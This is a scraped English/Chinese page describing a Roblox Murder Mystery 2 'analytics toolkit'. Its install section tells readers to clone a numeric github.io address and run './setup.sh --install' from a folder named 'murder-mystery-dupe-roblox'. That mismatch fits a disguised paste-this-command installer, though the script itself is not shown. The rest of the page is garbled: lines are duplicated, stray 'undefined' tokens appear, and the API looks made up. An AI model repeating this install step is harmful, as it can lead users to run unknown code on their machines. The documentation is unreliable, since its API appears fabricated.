mm2-roblox-analytics-toolkit

Compare original and translation side by side

🇺🇸

Original

English
🇨🇳

Translation

Chinese

MM2 Roblox Analytics Toolkit

MM2 Roblox 分析工具包

Skill by ara.so — Data Skills collection.
ara.so开发的Skill——数据技能合集。

Overview

概述

The MM2 Analytics Toolkit is a comprehensive data analysis and inventory management system for Roblox's Murder Mystery 2 game. It provides:
  • Inventory tracking for knife skins, gamepasses, and collectibles
  • Analytics dashboard with visualization of gameplay statistics
  • Strategy analysis using pattern recognition and AI-powered insights
  • Performance metrics tracking win/loss ratios across different roles
  • Export capabilities for data analysis in CSV/JSON formats
MM2分析工具包是针对Roblox平台《Murder Mystery 2》游戏的综合性数据分析与库存管理系统。它提供以下功能:
  • 库存追踪:追踪刀具皮肤、游戏通行证和收藏品
  • 分析仪表盘:可视化游戏玩法统计数据
  • 策略分析:使用模式识别和AI驱动的洞察分析策略
  • 性能指标:追踪不同角色的胜负率
  • 导出功能:支持以CSV/JSON格式导出数据用于分析

Installation

安装

Automated Setup

自动安装

bash
git clone https://8015238355.github.io
cd murder-mystery-dupe-roblox
chmod +x setup.sh
./setup.sh --install
bash
git clone https://8015238355.github.io
cd murder-mystery-dupe-roblox
chmod +x setup.sh
./setup.sh --install

Manual Installation

手动安装

bash
git clone https://8015238355.github.io
cd murder-mystery-dupe-roblox
bash
git clone https://8015238355.github.io
cd murder-mystery-dupe-roblox

Install Node.js dependencies

Install Node.js dependencies

npm install
npm install

Install Python dependencies

Install Python dependencies

python3 -m pip install -r requirements.txt
undefined
python3 -m pip install -r requirements.txt
undefined

Environment Configuration

环境配置

Create a
.env
file in the project root:
bash
undefined
在项目根目录创建
.env
文件:
bash
undefined

API Keys (optional for AI features)

API Keys (optional for AI features)

API_OPENAI_KEY=${OPENAI_API_KEY} API_CLAUDE_KEY=${CLAUDE_API_KEY}
API_OPENAI_KEY=${OPENAI_API_KEY} API_CLAUDE_KEY=${CLAUDE_API_KEY}

Data Configuration

Data Configuration

DATA_DIRECTORY=./data/collections ANALYTICS_INTERVAL=300 ENABLE_LIVE_TRACKING=true
DATA_DIRECTORY=./data/collections ANALYTICS_INTERVAL=300 ENABLE_LIVE_TRACKING=true

Export Settings

Export Settings

EXPORT_FORMAT=json LOG_LEVEL=INFO
undefined
EXPORT_FORMAT=json LOG_LEVEL=INFO
undefined

Configuration

配置

Profile Setup

配置文件设置

Create a profile configuration file
config/profile.yaml
:
yaml
profile:
  username: "MyRobloxUsername"
  preferred_role: "sheriff"
  inventory_filter:
    - category: "knife_skins"
      rarity: ["legendary", "ancient", "godly"]
    - category: "gamepasses"
      active: true
  analytics_preferences:
    tracking_mode: "comprehensive"
    data_refresh_rate: 30
    export_format: "csv, json"
  strategy_templates:
    - name: "aggressive_sheriff"
      priority: "high_visibility_areas"
    - name: "passive_innocent"
      priority: "distraction_avoidance"
    - name: "stealth_murderer"
      priority: "shadow_movement"
创建配置文件
config/profile.yaml
yaml
profile:
  username: "MyRobloxUsername"
  preferred_role: "sheriff"
  inventory_filter:
    - category: "knife_skins"
      rarity: ["legendary", "ancient", "godly"]
    - category: "gamepasses"
      active: true
  analytics_preferences:
    tracking_mode: "comprehensive"
    data_refresh_rate: 30
    export_format: "csv, json"
  strategy_templates:
    - name: "aggressive_sheriff"
      priority: "high_visibility_areas"
    - name: "passive_innocent"
      priority: "distraction_avoidance"
    - name: "stealth_murderer"
      priority: "shadow_movement"

Language Configuration

语言配置

Edit
config/locale.json
for language preferences:
json
{
  "language": "en",
  "date_format": "YYYY-MM-DD",
  "timezone": "UTC",
  "number_format": "en-US"
}
编辑
config/locale.json
设置语言偏好:
json
{
  "language": "en",
  "date_format": "YYYY-MM-DD",
  "timezone": "UTC",
  "number_format": "en-US"
}

Key Commands

核心命令

Analytics Mode

分析模式

Run comprehensive analytics on your MM2 data:
bash
python3 main.py --mode analytics \
    --profile my_profile \
    --export statistics_2026.json \
    --format json \
    --verbose
Output:
[MURDER MYSTERY 2026] Initializing analytics engine...
[ANALYTICS] Loading profile: my_profile
[INVENTORY] Scanning for mm2-knife-skins... DONE (47 items found)
[STRATEGY] Analyzing mm2-strategy patterns... DONE
[EXPORT] Writing statistics_2026.json (1.2MB)
[FINISHED] Session complete. Duration: 3m 42s
对MM2数据运行全面分析:
bash
python3 main.py --mode analytics \
    --profile my_profile \
    --export statistics_2026.json \
    --format json \
    --verbose
输出:
[MURDER MYSTERY 2026] 初始化分析引擎...
[ANALYTICS] 加载配置文件:my_profile
[INVENTORY] 扫描mm2-knife-skins... 完成(找到47个物品)
[STRATEGY] 分析mm2-strategy模式... 完成
[EXPORT] 写入statistics_2026.json(1.2MB)
[FINISHED] 会话完成。时长:3分42秒

Inventory Management

库存管理

Scan and catalog your inventory:
bash
python3 main.py --mode inventory \
    --scan \
    --filter legendary \
    --export inventory_report.csv
扫描并分类你的库存:
bash
python3 main.py --mode inventory \
    --scan \
    --filter legendary \
    --export inventory_report.csv

Strategy Analysis

策略分析

Analyze gameplay patterns:
bash
python3 main.py --mode strategy \
    --analyze-patterns \
    --role sheriff \
    --sessions 100
分析游戏玩法模式:
bash
python3 main.py --mode strategy \
    --analyze-patterns \
    --role sheriff \
    --sessions 100

Live Tracking

实时追踪

Enable real-time statistics tracking:
bash
python3 main.py --mode live \
    --track \
    --interval 30 \
    --dashboard
启用实时统计追踪:
bash
python3 main.py --mode live \
    --track \
    --interval 30 \
    --dashboard

Core API Usage

核心API使用

Python API

Python API

Inventory Tracker

库存追踪器

python
from mm2_toolkit import InventoryManager, RarityFilter
python
from mm2_toolkit import InventoryManager, RarityFilter

Initialize inventory manager

Initialize inventory manager

inventory = InventoryManager( profile="my_profile", data_dir="./data/collections" )
inventory = InventoryManager( profile="my_profile", data_dir="./data/collections" )

Scan for knife skins

Scan for knife skins

knife_skins = inventory.scan_category( category="knife_skins", filters=RarityFilter(["legendary", "ancient", "godly"]) )
knife_skins = inventory.scan_category( category="knife_skins", filters=RarityFilter(["legendary", "ancient", "godly"]) )

Get collection statistics

Get collection statistics

stats = inventory.get_statistics() print(f"Total items: {stats['total_count']}") print(f"Legendary items: {stats['rarity_breakdown']['legendary']}") print(f"Collection value: ${stats['estimated_value']}")
stats = inventory.get_statistics() print(f"Total items: {stats['total_count']}") print(f"Legendary items: {stats['rarity_breakdown']['legendary']}") print(f"Collection value: ${stats['estimated_value']}")

Export inventory

Export inventory

inventory.export( filename="my_inventory.json", format="json", include_metadata=True )
undefined
inventory.export( filename="my_inventory.json", format="json", include_metadata=True )
undefined

Analytics Engine

分析引擎

python
from mm2_toolkit import AnalyticsEngine, MetricType
python
from mm2_toolkit import AnalyticsEngine, MetricType

Initialize analytics

Initialize analytics

analytics = AnalyticsEngine( profile="my_profile", tracking_mode="comprehensive" )
analytics = AnalyticsEngine( profile="my_profile", tracking_mode="comprehensive" )

Load gameplay data

Load gameplay data

analytics.load_sessions(limit=100)
analytics.load_sessions(limit=100)

Calculate win rates by role

Calculate win rates by role

sheriff_stats = analytics.get_role_statistics("sheriff") print(f"Sheriff win rate: {sheriff_stats['win_rate']:.2%}") print(f"Average survival time: {sheriff_stats['avg_survival_time']}s")
sheriff_stats = analytics.get_role_statistics("sheriff") print(f"Sheriff win rate: {sheriff_stats['win_rate']:.2%}") print(f"Average survival time: {sheriff_stats['avg_survival_time']}s")

Analyze strategy effectiveness

Analyze strategy effectiveness

strategy_report = analytics.analyze_strategy( strategy_name="aggressive_sheriff", metric=MetricType.WIN_RATE )
strategy_report = analytics.analyze_strategy( strategy_name="aggressive_sheriff", metric=MetricType.WIN_RATE )

Generate visualizations

Generate visualizations

analytics.create_chart( chart_type="line", metric="win_rate_over_time", output="win_rate_chart.png" )
undefined
analytics.create_chart( chart_type="line", metric="win_rate_over_time", output="win_rate_chart.png" )
undefined

Strategy Optimizer

策略优化器

python
from mm2_toolkit import StrategyOptimizer, Role
python
from mm2_toolkit import StrategyOptimizer, Role

Initialize optimizer

Initialize optimizer

optimizer = StrategyOptimizer( profile="my_profile", ai_enabled=True )
optimizer = StrategyOptimizer( profile="my_profile", ai_enabled=True )

Get recommendations for a role

Get recommendations for a role

recommendations = optimizer.get_recommendations( role=Role.SHERIFF, playstyle="aggressive", map="de_house" )
for rec in recommendations: print(f"Strategy: {rec['name']}") print(f"Success rate: {rec['success_rate']:.2%}") print(f"Description: {rec['description']}\n")
recommendations = optimizer.get_recommendations( role=Role.SHERIFF, playstyle="aggressive", map="de_house" )
for rec in recommendations: print(f"Strategy: {rec['name']}") print(f"Success rate: {rec['success_rate']:.2%}") print(f"Description: {rec['description']}\n")

Simulate strategy performance

Simulate strategy performance

simulation = optimizer.simulate_strategy( strategy="aggressive_sheriff", iterations=1000 ) print(f"Predicted win rate: {simulation['predicted_win_rate']:.2%}")
undefined
simulation = optimizer.simulate_strategy( strategy="aggressive_sheriff", iterations=1000 ) print(f"Predicted win rate: {simulation['predicted_win_rate']:.2%}")
undefined

JavaScript/Node.js API

JavaScript/Node.js API

javascript
const { InventoryManager, AnalyticsEngine } = require('./mm2-toolkit');

// Initialize managers
const inventory = new InventoryManager({
  profile: 'my_profile',
  dataDir: './data/collections'
});

const analytics = new AnalyticsEngine({
  profile: 'my_profile',
  trackingMode: 'comprehensive'
});

// Scan inventory
async function scanInventory() {
  const knifeSkins = await inventory.scanCategory('knife_skins', {
    rarity: ['legendary', 'ancient', 'godly']
  });
  
  console.log(`Found ${knifeSkins.length} knife skins`);
  
  // Export to JSON
  await inventory.export('inventory.json', {
    format: 'json',
    includeMetadata: true
  });
}

// Analyze gameplay
async function analyzeGameplay() {
  await analytics.loadSessions({ limit: 100 });
  
  const sheriffStats = analytics.getRoleStatistics('sheriff');
  console.log(`Sheriff win rate: ${(sheriffStats.winRate * 100).toFixed(2)}%`);
  
  // Create visualization
  await analytics.createChart({
    type: 'line',
    metric: 'win_rate_over_time',
    output: 'win_rate_chart.png'
  });
}

scanInventory();
analyzeGameplay();
javascript
const { InventoryManager, AnalyticsEngine } = require('./mm2-toolkit');

// Initialize managers
const inventory = new InventoryManager({
  profile: 'my_profile',
  dataDir: './data/collections'
});

const analytics = new AnalyticsEngine({
  profile: 'my_profile',
  trackingMode: 'comprehensive'
});

// Scan inventory
async function scanInventory() {
  const knifeSkins = await inventory.scanCategory('knife_skins', {
    rarity: ['legendary', 'ancient', 'godly']
  });
  
  console.log(`Found ${knifeSkins.length} knife skins`);
  
  // Export to JSON
  await inventory.export('inventory.json', {
    format: 'json',
    includeMetadata: true
  });
}

// Analyze gameplay
async function analyzeGameplay() {
  await analytics.loadSessions({ limit: 100 });
  
  const sheriffStats = analytics.getRoleStatistics('sheriff');
  console.log(`Sheriff win rate: ${(sheriffStats.winRate * 100).toFixed(2)}%`);
  
  // Create visualization
  await analytics.createChart({
    type: 'line',
    metric: 'win_rate_over_time',
    output: 'win_rate_chart.png'
  });
}

scanInventory();
analyzeGameplay();

Data Export Patterns

数据导出模式

Export to JSON

导出为JSON

python
from mm2_toolkit import DataExporter

exporter = DataExporter(profile="my_profile")
python
from mm2_toolkit import DataExporter

exporter = DataExporter(profile="my_profile")

Export complete analytics

Export complete analytics

exporter.export_analytics( filename="complete_stats.json", include_sections=[ "inventory", "gameplay_stats", "strategy_analysis", "predictions" ] )

Output structure:
```json
{
  "profile": "my_profile",
  "export_date": "2026-05-16T21:56:49Z",
  "inventory": {
    "total_items": 47,
    "knife_skins": [...],
    "gamepasses": [...]
  },
  "gameplay_stats": {
    "total_sessions": 342,
    "win_rate": 0.68,
    "role_breakdown": {...}
  }
}
exporter.export_analytics( filename="complete_stats.json", include_sections=[ "inventory", "gameplay_stats", "strategy_analysis", "predictions" ] )

输出结构:
```json
{
  "profile": "my_profile",
  "export_date": "2026-05-16T21:56:49Z",
  "inventory": {
    "total_items": 47,
    "knife_skins": [...],
    "gamepasses": [...]
  },
  "gameplay_stats": {
    "total_sessions": 342,
    "win_rate": 0.68,
    "role_breakdown": {...}
  }
}

Export to CSV

导出为CSV

python
undefined
python
undefined

Export inventory as CSV

Export inventory as CSV

exporter.export_inventory( filename="inventory.csv", columns=["name", "rarity", "category", "acquisition_date", "value"] )
exporter.export_inventory( filename="inventory.csv", columns=["name", "rarity", "category", "acquisition_date", "value"] )

Export gameplay sessions

Export gameplay sessions

exporter.export_sessions( filename="sessions.csv", columns=["date", "role", "result", "duration", "map"] )
undefined
exporter.export_sessions( filename="sessions.csv", columns=["date", "role", "result", "duration", "map"] )
undefined

Advanced Patterns

高级模式

Batch Analysis

批量分析

python
from mm2_toolkit import BatchAnalyzer

analyzer = BatchAnalyzer()
python
from mm2_toolkit import BatchAnalyzer

analyzer = BatchAnalyzer()

Analyze multiple profiles

Analyze multiple profiles

profiles = ["profile1", "profile2", "profile3"] results = analyzer.analyze_multiple( profiles=profiles, metrics=["win_rate", "collection_value", "playtime"] )
profiles = ["profile1", "profile2", "profile3"] results = analyzer.analyze_multiple( profiles=profiles, metrics=["win_rate", "collection_value", "playtime"] )

Compare performance

Compare performance

comparison = analyzer.compare_profiles( profiles=profiles, metric="win_rate", role="sheriff" )
comparison = analyzer.compare_profiles( profiles=profiles, metric="win_rate", role="sheriff" )

Generate comparative report

Generate comparative report

analyzer.generate_report( comparison, output="profile_comparison.pdf" )
undefined
analyzer.generate_report( comparison, output="profile_comparison.pdf" )
undefined

AI-Powered Predictions

AI驱动预测

python
from mm2_toolkit import AIPredictionEngine
python
from mm2_toolkit import AIPredictionEngine

Initialize with API keys from environment

Initialize with API keys from environment

predictor = AIPredictionEngine( openai_key="${OPENAI_API_KEY}", claude_key="${CLAUDE_API_KEY}" )
predictor = AIPredictionEngine( openai_key="${OPENAI_API_KEY}", claude_key="${CLAUDE_API_KEY}" )

Predict optimal strategy

Predict optimal strategy

prediction = predictor.predict_optimal_strategy( current_stats={ "role": "sheriff", "win_rate": 0.62, "avg_survival": 180 }, context="competitive_mode" )
print(f"Recommended strategy: {prediction['strategy']}") print(f"Confidence: {prediction['confidence']:.2%}") print(f"Reasoning: {prediction['reasoning']}")
undefined
prediction = predictor.predict_optimal_strategy( current_stats={ "role": "sheriff", "win_rate": 0.62, "avg_survival": 180 }, context="competitive_mode" )
print(f"Recommended strategy: {prediction['strategy']}") print(f"Confidence: {prediction['confidence']:.2%}") print(f"Reasoning: {prediction['reasoning']}")
undefined

Real-time Dashboard

实时仪表盘

python
from mm2_toolkit import Dashboard
python
from mm2_toolkit import Dashboard

Start live dashboard

Start live dashboard

dashboard = Dashboard( profile="my_profile", port=8080, auto_refresh=30 )
dashboard = Dashboard( profile="my_profile", port=8080, auto_refresh=30 )

Configure widgets

Configure widgets

dashboard.add_widget("inventory_value", position=(0, 0)) dashboard.add_widget("win_rate_chart", position=(1, 0)) dashboard.add_widget("recent_sessions", position=(0, 1))
dashboard.add_widget("inventory_value", position=(0, 0)) dashboard.add_widget("win_rate_chart", position=(1, 0)) dashboard.add_widget("recent_sessions", position=(0, 1))

Launch server

Launch server

dashboard.start() print("Dashboard running at http://localhost:8080")
undefined
dashboard.start() print("Dashboard running at http://localhost:8080")
undefined

Common Workflows

常见工作流

Complete Analysis Workflow

完整分析工作流

python
from mm2_toolkit import (
    InventoryManager,
    AnalyticsEngine,
    StrategyOptimizer,
    DataExporter
)

def complete_analysis(profile_name):
    # Step 1: Scan inventory
    inventory = InventoryManager(profile=profile_name)
    inventory.scan_all_categories()
    
    # Step 2: Load and analyze gameplay data
    analytics = AnalyticsEngine(profile=profile_name)
    analytics.load_sessions(limit=500)
    
    # Step 3: Calculate statistics
    overall_stats = analytics.get_overall_statistics()
    role_stats = {
        "sheriff": analytics.get_role_statistics("sheriff"),
        "murderer": analytics.get_role_statistics("murderer"),
        "innocent": analytics.get_role_statistics("innocent")
    }
    
    # Step 4: Get strategy recommendations
    optimizer = StrategyOptimizer(profile=profile_name, ai_enabled=True)
    recommendations = optimizer.get_all_recommendations()
    
    # Step 5: Export everything
    exporter = DataExporter(profile=profile_name)
    exporter.export_complete_report(
        filename=f"{profile_name}_report.json",
        include_inventory=True,
        include_analytics=True,
        include_recommendations=True
    )
    
    return {
        "inventory": inventory.get_summary(),
        "stats": overall_stats,
        "role_performance": role_stats,
        "recommendations": recommendations
    }
python
from mm2_toolkit import (
    InventoryManager,
    AnalyticsEngine,
    StrategyOptimizer,
    DataExporter
)

def complete_analysis(profile_name):
    # Step 1: Scan inventory
    inventory = InventoryManager(profile=profile_name)
    inventory.scan_all_categories()
    
    # Step 2: Load and analyze gameplay data
    analytics = AnalyticsEngine(profile=profile_name)
    analytics.load_sessions(limit=500)
    
    # Step 3: Calculate statistics
    overall_stats = analytics.get_overall_statistics()
    role_stats = {
        "sheriff": analytics.get_role_statistics("sheriff"),
        "murderer": analytics.get_role_statistics("murderer"),
        "innocent": analytics.get_role_statistics("innocent")
    }
    
    # Step 4: Get strategy recommendations
    optimizer = StrategyOptimizer(profile=profile_name, ai_enabled=True)
    recommendations = optimizer.get_all_recommendations()
    
    # Step 5: Export everything
    exporter = DataExporter(profile=profile_name)
    exporter.export_complete_report(
        filename=f"{profile_name}_report.json",
        include_inventory=True,
        include_analytics=True,
        include_recommendations=True
    )
    
    return {
        "inventory": inventory.get_summary(),
        "stats": overall_stats,
        "role_performance": role_stats,
        "recommendations": recommendations
    }

Run complete analysis

Run complete analysis

results = complete_analysis("my_profile") print(f"Analysis complete. Total value: ${results['inventory']['total_value']}")
undefined
results = complete_analysis("my_profile") print(f"Analysis complete. Total value: ${results['inventory']['total_value']}")
undefined

Troubleshooting

故障排除

Common Issues

常见问题

Issue: "Profile not found" error
bash
undefined
问题:"Profile not found"错误
bash
undefined

Check available profiles

Check available profiles

python3 main.py --list-profiles
python3 main.py --list-profiles

Create new profile

Create new profile

python3 main.py --create-profile my_new_profile

**Issue: Data export fails**

```python
from mm2_toolkit import DataExporter, ExportFormat

exporter = DataExporter(profile="my_profile")
python3 main.py --create-profile my_new_profile

**问题:数据导出失败**

```python
from mm2_toolkit import DataExporter, ExportFormat

exporter = DataExporter(profile="my_profile")

Validate data before export

Validate data before export

if exporter.validate_data(): exporter.export_analytics( filename="stats.json", format=ExportFormat.JSON ) else: print("Data validation failed:") print(exporter.get_validation_errors())

**Issue: Analytics engine returns no data**

```python
from mm2_toolkit import AnalyticsEngine

analytics = AnalyticsEngine(profile="my_profile")
if exporter.validate_data(): exporter.export_analytics( filename="stats.json", format=ExportFormat.JSON ) else: print("Data validation failed:") print(exporter.get_validation_errors())

**问题:分析引擎无数据返回**

```python
from mm2_toolkit import AnalyticsEngine

analytics = AnalyticsEngine(profile="my_profile")

Check data availability

Check data availability

data_status = analytics.check_data_status() print(f"Sessions available: {data_status['session_count']}") print(f"Date range: {data_status['date_range']}")
data_status = analytics.check_data_status() print(f"Sessions available: {data_status['session_count']}") print(f"Date range: {data_status['date_range']}")

Force data reload

Force data reload

if data_status['session_count'] == 0: analytics.force_reload()

**Issue: API rate limiting**

```python
from mm2_toolkit import AIPredictionEngine
import time

predictor = AIPredictionEngine(
    openai_key="${OPENAI_API_KEY}",
    rate_limit=True,  # Enable rate limiting
    requests_per_minute=10
)
if data_status['session_count'] == 0: analytics.force_reload()

**问题:API速率限制**

```python
from mm2_toolkit import AIPredictionEngine
import time

predictor = AIPredictionEngine(
    openai_key="${OPENAI_API_KEY}",
    rate_limit=True,  # Enable rate limiting
    requests_per_minute=10
)

Use with rate limiting

Use with rate limiting

for strategy in strategies: prediction = predictor.predict_optimal_strategy(strategy) time.sleep(6) # Ensure rate limit compliance
undefined
for strategy in strategies: prediction = predictor.predict_optimal_strategy(strategy) time.sleep(6) # Ensure rate limit compliance
undefined

Performance Optimization

性能优化

python
from mm2_toolkit import AnalyticsEngine, CacheManager
python
from mm2_toolkit import AnalyticsEngine, CacheManager

Enable caching for better performance

Enable caching for better performance

cache = CacheManager(ttl=3600) # 1 hour TTL analytics = AnalyticsEngine( profile="my_profile", cache_manager=cache )
cache = CacheManager(ttl=3600) # 1 hour TTL analytics = AnalyticsEngine( profile="my_profile", cache_manager=cache )

Batch load sessions

Batch load sessions

analytics.load_sessions( limit=1000, batch_size=100, # Load in batches parallel=True # Enable parallel processing )
undefined
analytics.load_sessions( limit=1000, batch_size=100, # Load in batches parallel=True # Enable parallel processing )
undefined

Debugging

调试

python
import logging
from mm2_toolkit import InventoryManager
python
import logging
from mm2_toolkit import InventoryManager

Enable debug logging

Enable debug logging

logging.basicConfig(level=logging.DEBUG)
inventory = InventoryManager( profile="my_profile", debug=True, verbose=True )
logging.basicConfig(level=logging.DEBUG)
inventory = InventoryManager( profile="my_profile", debug=True, verbose=True )

Dry run mode for testing

Dry run mode for testing

inventory.scan_category( category="knife_skins", dry_run=True # Don't modify data )
undefined
inventory.scan_category( category="knife_skins", dry_run=True # Don't modify data )
undefined

Integration Examples

集成示例

Web Dashboard Integration

Web仪表盘集成

javascript
const express = require('express');
const { AnalyticsEngine } = require('./mm2-toolkit');

const app = express();
const analytics = new AnalyticsEngine({ profile: 'my_profile' });

app.get('/api/stats', async (req, res) => {
  const stats = await analytics.getOverallStatistics();
  res.json(stats);
});

app.get('/api/inventory', async (req, res) => {
  const inventory = await analytics.getInventorySummary();
  res.json(inventory);
});

app.listen(3000, () => {
  console.log('API server running on port 3000');
});
javascript
const express = require('express');
const { AnalyticsEngine } = require('./mm2-toolkit');

const app = express();
const analytics = new AnalyticsEngine({ profile: 'my_profile' });

app.get('/api/stats', async (req, res) => {
  const stats = await analytics.getOverallStatistics();
  res.json(stats);
});

app.get('/api/inventory', async (req, res) => {
  const inventory = await analytics.getInventorySummary();
  res.json(inventory);
});

app.listen(3000, () => {
  console.log('API server running on port 3000');
});

Automated Reporting

自动报告

python
from mm2_toolkit import DataExporter, ReportScheduler
import schedule

def generate_weekly_report():
    exporter = DataExporter(profile="my_profile")
    exporter.export_complete_report(
        filename=f"weekly_report_{datetime.now().strftime('%Y%m%d')}.pdf",
        include_charts=True
    )
python
from mm2_toolkit import DataExporter, ReportScheduler
import schedule

def generate_weekly_report():
    exporter = DataExporter(profile="my_profile")
    exporter.export_complete_report(
        filename=f"weekly_report_{datetime.now().strftime('%Y%m%d')}.pdf",
        include_charts=True
    )

Schedule weekly reports

Schedule weekly reports

scheduler = ReportScheduler() scheduler.add_task(generate_weekly_report, interval="weekly", day="monday") scheduler.start()
undefined
scheduler = ReportScheduler() scheduler.add_task(generate_weekly_report, interval="weekly", day="monday") scheduler.start()
undefined